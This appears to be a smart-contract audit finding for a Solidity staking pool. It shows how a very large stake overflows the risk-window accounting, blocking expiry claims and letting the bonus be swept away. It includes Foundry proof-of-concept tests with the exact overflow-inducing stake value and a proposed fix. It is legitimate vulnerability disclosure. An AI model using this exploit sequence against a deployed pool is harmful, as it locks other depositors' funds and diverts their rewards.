FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Large accepted stake overflows risk-window observation and blocks expiry claims

Author Revealed upon completion

Vulnerability details

Summary

ConfidencePool lazily observes the BattleChain registry and starts the risk window when the registry first reaches an active-risk state. The bug is that a very large stake can be accepted while the pool is still pre-risk, but the later risk-window start reset can overflow when it multiplies the full totalEligibleStake by the active-risk or expiry timestamp.

This is a liveness and payout-integrity issue. While the registry remains active-risk at expiry, claimExpired() can revert before returning principal. In a later terminal path, the failed observation can leave riskWindowStart == 0, causing stakers to receive principal only while the entire bonus is swept to recoveryAddress.

Affected Contract

File: src/ConfidencePool.sol

Lines: 222-260

Function/Type: stake(uint256)

File: src/ConfidencePool.sol

Lines: 512-607

Function/Type: claimExpired()

File: src/ConfidencePool.sol

Lines: 649-657

Function/Type: pokeRiskWindow()

File: src/ConfidencePool.sol

Lines: 784-799

Function/Type: _observePoolState()

File: src/ConfidencePool.sol

Lines: 801-817

Function/Type: _markRiskWindowStart()

Vulnerability Details

The attacker controls the stake amount entering stake(uint256). The deposit path records the amount using the current timestamp, and a large value can be selected so the entry-time products fit. The pool does not cap totalEligibleStake against the maximum future timestamp used by risk-window accounting.

When the registry later reaches UNDER_ATTACK or another active-risk state, _observePoolState() calls _markRiskWindowStart(). That function resets the global sums as if every current staker entered at the risk-window start:

  • sumStakeTime = totalEligibleStake * t

  • sumStakeTimeSq = totalEligibleStake * t * t

If t is greater than the original stake timestamp, this can overflow and revert the observation. The same observation is performed inside claimExpired(), so expiry resolution can be blocked. If the risk observation never latches and the registry later reaches a terminal state, the pool can also treat the term as having no observable risk, which removes the bonus claim and makes the bonus sweepable.

Root Cause

The root cause is missing stake-size validation against the future _markRiskWindowStart() reset. The pool lets totalEligibleStake grow beyond what can be safely multiplied by any timestamp up to expiry.

// File: src/ConfidencePool.sol:252-260
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
// File: src/ConfidencePool.sol:793-817
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

Attack Vectors

Attack Vector 1: Active-risk expiry DoS

Step 1 A large staker deposits an amount that fits entry-time accounting while the pool is pre-risk.
Step 2 The registry enters UNDER_ATTACK.
Step 3 The pool reaches expiry while the registry is still active-risk.
Step 4 An honest staker calls claimExpired().
Result: claimExpired() calls _observePoolState(), _markRiskWindowStart() overflows, and the expiry payout reverts before principal is returned.

Attack Vector 2: Failed observation removes bonus entitlement

Step 1 A large accepted stake is deposited before the risk window.
Step 2 The registry enters active-risk and a permissionless pokeRiskWindow() attempt reverts with arithmetic overflow.
Step 3 The registry later reaches PRODUCTION, and the moderator flags SURVIVED.
Step 4 Because riskWindowStart was never set, stakers claim principal only and the bonus becomes sweepable.
Result: The k=2 bonus reward is forfeited and the bonus is redirected to recoveryAddress.

Execution Flow

  • stake(uint256) accepts the large deposit and increases totalEligibleStake.

  • The registry later enters an active-risk state.

  • pokeRiskWindow() or claimExpired() calls _observePoolState().

  • _observePoolState() detects active risk and calls _markRiskWindowStart().

  • _markRiskWindowStart() computes totalEligibleStake * t * t.

  • The multiplication overflows and the transaction reverts.

  • The risk-window marker remains unset because the state change is rolled back.

  • Later claim or sweep behavior proceeds as if no observable risk window existed.

Impact

This is a Medium severity issue because it can block the expiry backstop and can redirect the bonus away from stakers. The blast radius is pool-wide: a single large accepted stake affects all participants in that pool because the overflow occurs in global accounting, not only in the attacker's own balance.

The attacker cost is the large temporary deposit of an allowlisted stake token. The protocol impact is that honest stakers can be unable to claim at expiry while the registry remains active-risk, and the bonus pool can later be treated as unearned even though the registry did reach active risk.

Validation steps

Standalone Validation

Framework used: Foundry / forge

Validation Test File

File 1: test/poc/ConfidencePoolOverflowPoC.t.sol

function testPoC_largeAcceptedStakeBlocksExpiredClaimsWhileStillActiveRisk() external {
uint256 start = vm.getBlockTimestamp();
uint256 startSquared = start * start;
uint256 attackerStake = type(uint256).max / startSquared - 1e45;
_stake(alice, 100 * ONE);
_stake(bob, attackerStake);
_contributeBonus(carol, 50 * ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.warp(pool.expiry());
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "expiry resolution reverted");
assertEq(pool.riskWindowStart(), 0, "risk observation still did not latch");
assertEq(token.balanceOf(alice), 0, "Alice's principal remains locked in the pool");
}
function testPoC_largeAcceptedStakePreventsRiskWindowObservationAndForfeitsBonus() external {
uint256 start = vm.getBlockTimestamp();
uint256 riskTime = start + 1 days;
uint256 startSquared = start * start;
uint256 attackerStake = type(uint256).max / startSquared - 1e45;
_stake(alice, 100 * ONE);
_stake(bob, attackerStake);
_contributeBonus(carol, 50 * ONE);
vm.warp(riskTime);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk observation reverted and did not latch");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "terminal observation does not reopen the risk window");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "Alice receives principal only");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE, "entire bonus is swept away");
}

How to Run

forge test --match-path test/poc/ConfidencePoolOverflowPoC.t.sol -vvv

Captured Test Output

Ran 4 tests for test/poc/ConfidencePoolOverflowPoC.t.sol:ConfidencePoolOverflowPoCTest
[PASS] testPoC_largeAcceptedStakeBlocksExpiredClaimsWhileStillActiveRisk() (gas: 471886)
[PASS] testPoC_largeAcceptedStakeLocksAllSurvivedClaims() (gas: 657267)
[PASS] testPoC_largeAcceptedStakePreventsRiskWindowObservationAndForfeitsBonus() (gas: 663042)
[PASS] testPoC_uint32DeadlineWrapSkipsGoodFaithAttackerClaimWindow() (gas: 3495551)
Suite result: ok. 4 passed; 0 failed; 0 skipped

Log-to-Impact Walkthrough

The first passing PoC proves that claimExpired() reverts while the registry is active-risk, leaving the pool unresolved and Alice's principal in the contract. The second passing PoC proves that a failed pokeRiskWindow() keeps riskWindowStart == 0; after SURVIVED is flagged, Alice receives only principal and the entire bonus is swept to recovery.

Key Assertions Proven

vm.expectRevert(stdError.arithmeticError) before pool.claimExpired() -> proves the expiry backstop can revert during risk observation -> PASS
assertEq(pool.riskWindowStart(), 0) after the reverted observation -> proves the risk-window latch is not persisted -> PASS
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE) -> proves the bonus can be swept away after the missed observation -> PASS

Recommended Fix

Validate stake admission against the largest timestamp the pool will use for risk-window accounting. A conservative cap on newTotalEligibleStake * expiry * expiry prevents _markRiskWindowStart() from becoming the first place the overflow is discovered.

+ error BonusAccountingOverflow();
+
+ function _assertBonusAccountingFits(uint256 newTotalEligibleStake) internal view {
+ uint256 maxT = uint256(expiry);
+ if (maxT != 0 && newTotalEligibleStake > type(uint256).max / maxT / maxT) {
+ revert BonusAccountingOverflow();
+ }
+ }
+
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
+ uint256 newTotalEligibleStake = totalEligibleStake + received;
+ _assertBonusAccountingFits(newTotalEligibleStake);
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
- totalEligibleStake += received;
+ totalEligibleStake = newTotalEligibleStake;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!